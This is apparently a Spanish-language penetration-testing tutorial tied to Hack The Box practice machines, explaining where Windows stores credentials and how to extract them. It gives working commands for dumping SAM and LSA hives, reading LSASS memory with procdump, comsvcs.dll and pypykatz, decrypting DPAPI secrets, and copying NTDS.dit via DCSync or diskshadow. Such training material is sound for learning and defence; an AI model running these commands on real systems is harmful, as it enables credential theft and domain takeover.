Volcado de credenciales en Windows: SAM, LSA, LSASS, DPAPI y NTDS.dit

Dónde guarda Windows las credenciales y cómo sacarlas: SAM y SYSTEM, secretos LSA, LSASS con lsassy o pypykatz, DPAPI y NTDS.dit con SeBackup.

· 4 min de lectura

En cuanto eres administrador (o SYSTEM) en una máquina Windows, lo siguiente es sacarle las credenciales: los hashes de sus cuentas locales, los de los usuarios del dominio que han iniciado sesión y las contraseñas que se guardaron. Con ellas te mueves a la siguiente máquina (movimiento lateral). Es la técnica de volcado de SAM/LSA/LSASS.

Dónde están las credenciales

Lugar Qué guarda Qué necesitas
SAM (+ SYSTEM) Hashes NT de las cuentas locales Admin local
LSA secrets (SECURITY) Contraseñas de servicios, la cuenta del equipo, autologon Admin local
Caché de dominio (SECURITY) Hashes DCC2 de los últimos usuarios del dominio (lentos de crackear) Admin local
LSASS (memoria) Hashes NT, tickets de Kerberos y a veces contraseñas de quien tiene sesión ahora Admin local + SeDebugPrivilege
DPAPI Credenciales guardadas, navegadores, Wi-Fi, RDP La contraseña del usuario o la clave de copia del dominio
NTDS.dit (en el DC) Todos los hashes del dominio Admin del dominio, DCSync o SeBackupPrivilege en el DC

1. SAM, SYSTEM y SECURITY

Desde tu equipo, si tienes credenciales de admin:

impacket-secretsdump corp.local/administrator:'Contraseña1'@10.10.10.10
nxc smb 10.10.10.10 -u administrator -H 8846f7... --sam --lsa

Desde una shell en la máquina, guarda las colmenas y llévatelas:

reg save HKLM\SAM C:\Windows\Temp\sam
reg save HKLM\SYSTEM C:\Windows\Temp\system
reg save HKLM\SECURITY C:\Windows\Temp\security
impacket-secretsdump -sam sam -system system -security security LOCAL

Truco

Con evil-winrm puedes bajar los ficheros con download sam. También sirven las copias de las colmenas que a veces aparecen en copias de seguridad o en C:\Windows\Repair\ (sistemas antiguos), como en Bastion, donde están dentro de un disco virtual en un recurso compartido.

2. LSASS

LSASS es el proceso que gestiona los inicios de sesión. Su memoria contiene las credenciales de quien está conectado en este momento: si un administrador del dominio ha iniciado sesión, su hash está ahí.

Desde tu equipo, sin subir nada:

lsassy -u administrator -H 8846f7... 10.10.10.10
nxc smb 10.10.10.10 -u administrator -H 8846f7... -M lsassy
nxc smb 10.10.10.10 -u administrator -H 8846f7... -M nanodump

Desde la máquina, haciendo un volcado de memoria y analizándolo en tu equipo:

# Con una herramienta de Microsoft firmada
.\procdump64.exe -accepteula -ma lsass.exe C:\Windows\Temp\l.dmp
# O con una DLL del propio sistema
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID_de_lsass> C:\Windows\Temp\l.dmp full
pypykatz lsa minidump l.dmp

Cuidado

Abrir LSASS es lo más vigilado por cualquier antivirus o EDR: casi todas estas variantes se detectan hoy. En un CTF suele dar igual; en un ejercicio real, mira primero qué protege la máquina (guía de cómo detectan los EDR). Si LSASS es un proceso protegido (PPL) o hay Credential Guard, no obtendrás los hashes de esta forma.

3. DPAPI y credenciales guardadas

Windows cifra con DPAPI las contraseñas que los usuarios "recuerdan": el Administrador de credenciales, Chrome y Edge, Wi-Fi, conexiones RDP guardadas (credenciales guardadas / DPAPI).

cmdkey /list                                   # credenciales guardadas (runas /savecred las usa)
dir C:\Users\*\AppData\Roaming\Microsoft\Credentials\ -Force
dir C:\Users\*\AppData\Roaming\Microsoft\Protect\ -Force       # las master keys
# Desde tu equipo, como admin: todo lo que se pueda descifrar
nxc smb 10.10.10.10 -u administrator -H 8846f7... --dpapi
# A mano con Impacket, con la contraseña del usuario
impacket-dpapi masterkey -file <masterkey> -sid S-1-5-21-...-1103 -password 'Contraseña1'
impacket-dpapi credential -file <credencial> -key 0x<clave_descifrada>

Si cmdkey /list muestra una credencial del administrador, puedes usarla sin descifrarla: runas /savecred /user:CORP\Administrator "cmd /c ...". Es la escalada de Access.

Otros sitios con contraseñas en claro que conviene revisar (credenciales en el registro y el historial):

type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" | findstr /i "DefaultPassword DefaultUserName"
dir C:\ -Recurse -Include *.config,*.xml,*.ini,unattend*.xml -ErrorAction SilentlyContinue | Select-String -Pattern password

4. NTDS.dit

En un controlador de dominio, C:\Windows\NTDS\ntds.dit tiene los hashes de todo el dominio. Si eres admin del dominio o tienes DCSync, lo más cómodo es pedírselos al DC (DCSync):

impacket-secretsdump corp.local/[email protected] -hashes :8846f7... -just-dc-ntlm

Si solo tienes SeBackupPrivilege (por estar en Backup Operators, SeBackup), puedes copiarlo aunque esté en uso, a través de una shadow copy:

# script.txt (con saltos de línea de Windows, CRLF)
#   set context persistent nowriters
#   add volume c: alias x
#   create
#   expose %x% z:
diskshadow /s script.txt
robocopy /b z:\Windows\NTDS C:\Windows\Temp\ ntds.dit
reg save HKLM\SYSTEM C:\Windows\Temp\system
impacket-secretsdump -ntds ntds.dit -system system LOCAL

Es el final de Blackfield. En Cicada basta con copiar el SAM y el SYSTEM con el mismo privilegio.

Errores típicos

  • secretsdump da rpc_s_access_denied: no eres administrador en esa máquina (o el UAC remoto filtra tu cuenta local; usa la RID 500).
  • pypykatz no encuentra nada en el volcado: el volcado está incompleto o es de otra arquitectura. Con comsvcs.dll, ejecútalo desde una shell con SeDebugPrivilege activo (PowerShell como SYSTEM).
  • diskshadow falla con un error de sintaxis: el script tiene saltos de línea de Linux. Conviértelo con unix2dos antes de subirlo.

Y después

Con los hashes nuevos, vuelve a probar dónde valen (movimiento lateral) y crackea los que te interesen (cracking de hashes): los DCC2 (-m 2100) y NetNTLMv2 no sirven para pass-the-hash, pero sus contraseñas sí.

Practícalo en máquinas reales

Máquinas de Hack The Box donde se usa la técnica. Cada ▶ salta al minuto del vídeo de IppSec donde aparece.

Volcado de SAM/LSA/LSASS 14 máquinas

Ver las 14 máquinas →

Credenciales guardadas / DPAPI 12 máquinas

Ver las 12 máquinas →

SeBackup / SeRestore 3 máquinas

Credenciales en el registro y el historial 14 máquinas

Ver las 14 máquinas →

¿Ves un error o echas algo en falta? Cuéntanoslo